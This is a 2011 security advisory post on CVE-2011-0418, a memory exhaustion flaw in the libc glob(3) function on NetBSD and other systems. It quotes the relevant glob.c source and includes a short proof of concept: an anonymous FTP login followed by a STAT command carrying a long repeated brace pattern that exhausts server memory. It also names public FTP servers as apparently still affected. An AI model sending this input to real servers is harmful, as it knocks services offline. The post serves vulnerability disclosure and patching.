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Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion
From: cxib () securityreason com
Date: Sun, 1 May 2011 16:59:30 -0600

[ Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
 - Dis.: 19.01.2011
 - Pub.: 02.05.2011

CVE: CVE-2011-0418

Affected Software (verified):
- NetBSD 5.1
- and more

Original URL:
http://securityreason.com/achievement_securityalert/97


--- 0.Description ---
#include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This option should be set for programs that can be 
coerced to a denial of service attack via patterns that expand to a very large number of matches, such as a long string 
of */../*/..


--- 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ---
Analyzing history of GLOB_LIMIT, we should start since 2001, where it has been added to protect ftp servers before 
memory exhaustion.

http://www.mail-archive.com/bugtraq () securityfocus com/msg04960.html

Any 'pattern', should be limited and controlled by GLOB LIMIT. Algorithm used in glob(3) is not optimal, and doesn't 
support functions like realpath() to eliminate duplicates. It's not easy to predict the greatest possible complexity. 
Anyway in 2010, netbsd has extended GLOB_LIMIT for a few new limits like: stats, readdir and malloc

OpenBSD has localized some integer overflow. In glob(3) function, exists some malloc() allowing allocate n<INT_MAX 
bytes into memory.

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h

-globextend()/openbsd--
  749:  newn = 2 + pglob->gl_pathc + pglob->gl_offs;
  750:  if (pglob->gl_offs >= INT_MAX ||
  751:      pglob->gl_pathc >= INT_MAX ||
  752:      newn >= INT_MAX ||
  753:      SIZE_MAX / sizeof(*pathv) <= newn ||
  754:      SIZE_MAX / sizeof(*statv) <= newn) {
  755:  nospace:
  756:          for (i = pglob->gl_offs; i < (ssize_t)(newn - 2); i++) {
  757:                  if (pglob->gl_pathv && pglob->gl_pathv[i])
  758:                          free(pglob->gl_pathv[i]);
  759:                  if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
  760:                      pglob->gl_pathv && pglob->gl_pathv[i])
  761:                          free(pglob->gl_statv[i]);
  762:          }
  763:          if (pglob->gl_pathv) {
  764:                  free(pglob->gl_pathv);
  765:                  pglob->gl_pathv = NULL;
  766:          }
  767:          if (pglob->gl_statv) {
  768:                  free(pglob->gl_statv);
  769:                  pglob->gl_statv = NULL;
  770:          }
  771:          return(GLOB_NOSPACE);
  772:  }
-globextend()/openbsd--

however SIZE_MAX and INT_MAX doesn't protect us before memory exhaustion. The real problem here is uncontrolled 
malloc(3) call. globextend() will be executed a lot of times and we should reduce calls to glob0() and globexp1(). 
Therefore has been created a new limit, limiting 'braces' used in 'pattern'. 

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29

If we don't reduce this call

-globextend()/netbsd--
static int
globextend(const Char *path, glob_t *pglob, size_t *limit)
{
        char **pathv;
        size_t i, newsize, len;
        char *copy;
        const Char *p;

        _DIAGASSERT(path != NULL);
        _DIAGASSERT(pglob != NULL);

        newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
        pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :
        malloc(newsize); <==== UNSECURE CALL
..
-globextend()/netbsd--

newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);

malloc(3) try allocate (4*pglob->gl_pathc) bytes. 

-PoC-
USER anonymous
PASS bla () bla bla
STAT 
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
-PoC-

in result we get

Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed: out of swap

Many servers are still vulnerable to the above vulnerability and CVE-2010-4754, CVE-2010-4755, CVE-2010-4756, 
CVE-2010-2632. Servers like ftp.sun.com ftp.sony.com seems still be affected. 


--- 2. References ---
http://securityreason.com/achievement_securityalert/89
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.avaya.com/css/P8/documents/100127892
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2632
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4754
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4755
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4756
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0418

PoC:
change 'pattern' in
http://cxib.net/stuff/glob-0day.c


--- 3. Fix ---
Use CVS netbsd-5 netbsd-5-1 netbsd-5-0
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c


--- 4. Greets ---
Specials thanks for Christos Zoulas, spz

sp3x, Infospec


--- 5. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/


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